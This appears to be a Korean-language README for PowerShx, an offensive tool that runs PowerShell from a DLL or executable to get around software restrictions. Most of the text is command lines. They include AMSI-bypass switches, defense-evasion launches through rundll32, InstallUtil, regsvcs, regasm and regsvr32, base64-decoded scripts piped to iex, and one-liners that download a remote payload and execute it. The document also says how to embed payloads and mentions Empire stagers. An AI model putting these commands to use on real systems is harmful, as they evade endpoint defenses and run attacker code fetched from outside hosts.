
소프트웨어 제한 없이 Powershell을 실행하세요.
DLL이나 독립 실행 파일을 사용하는 비관리형 PowerShell 실행.
PowerShx는 PowerShdll 프로젝트를 재작성하고 확장한 것입니다. PowerShx는 AMSI 우회 및 PS Cmdlet 실행 기능을 제공합니다.
rundll32 PowerShx.dll,main -e <실행할 PS 스크립트>
rundll32 PowerShx.dll,main -f <경로> 인수로 전달된 스크립트 실행
rundll32 PowerShx.dll,main -f <경로> -c <PS Cmdlet> 스크립트를 로드하고 PS cmdlet 실행
rundll32 PowerShx.dll,main -w 새 창에서 대화형 콘솔 시작
rundll32 PowerShx.dll,main -i 대화형 콘솔 시작
rundll32 PowerShx.dll,main -s AMSI 우회 시도
rundll32 PowerShx.dll,main -v 콘솔에 실행 출력 표시
1.
x86 - C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U PowerShx.dll
x64 - C:\Windows\Microsoft.NET\Framework64\v4.0.3031964\InstallUtil.exe /logfile= /LogToConsole=false /U PowerShx.dll
2.
x86 C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe PowerShx.dll
x64 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regsvcs.exe PowerShx.dll
3.
x86 C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U PowerShx.dll
x64 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /U PowerShx.dll
4.
regsvr32 /s /u PowerShx.dll --> DllUnregisterServer 호출
regsvr32 /s PowerShx.dll --> DllRegisterServer 호출
PowerShx.exe -i 대화형 콘솔 시작
PowerShx.exe -e <실행할 PS 스크립트>
PowerShx.exe -f <경로> 인수로 전달된 스크립트 실행
PowerShx.exe -f <경로> -c <PS Cmdlet> 스크립트를 로드하고 PS cmdlet 실행
PowerShx.exe -s AMSI 우회 시도.
"Common" 프로젝트의 데이터 딕셔너리 "Common.Payloads.PayloadDict"를 업데이트하고 PsSession.cs -> Handle() 메서드에서 호출하여 페이로드를 포함할 수 있습니다. 예시: Handle() 메서드에서:
private void Handle(Options options)
{
// 사용자 스크립트 실행 전에 실행
_ps.Exe(Payloads.PayloadDict["amsi"]);
}
rundll32 PowerShx.dll,main [System.Text.Encoding]::Default.GetString([System.Convert]::FromBase64String("BASE64")) ^| iex
PowerShx.exe -e [System.Text.Encoding]::Default.GetString([System.Convert]::FromBase64String("BASE64")) ^| iex
참고: Empire 스테이저는 [System.Text.Encoding]::Unicode를 사용하여 디코딩해야 합니다.
rundll32 PowerShx.dll,main . { iwr -useb https://website.com/Script.ps1 } ^| iex;
PowerShx.exe -e "IEX ((new-object net.webclient).downloadstring('http://192.168.100/payload-http'))"
.NET 4
일부 오류가 출력에 표시되지 않는 것으로 보입니다. Import-Module과 같은 명령이 실패해도 오류를 출력하지 않아 혼동을 줄 수 있습니다. 명령을 올바르게 입력했는지 확인하세요.
dll 모드에서 대화형 모드와 명령 출력은 부모 프로세스의 콘솔을 가로채는 방식에 의존합니다. 부모 프로세스에 콘솔이 없는 경우 출력을 표시하지 않으려면 -n 스위치를 사용하세요. 그렇지 않으면 애플리케이션이 충돌합니다.
Rundll32가 인수를 처리하는 방식으로 인해 스위치와 인수 사이에 여러 공백 문자를 사용하면 문제가 발생할 수 있습니다. 스크립트 내부의 여러 공백은 괜찮습니다.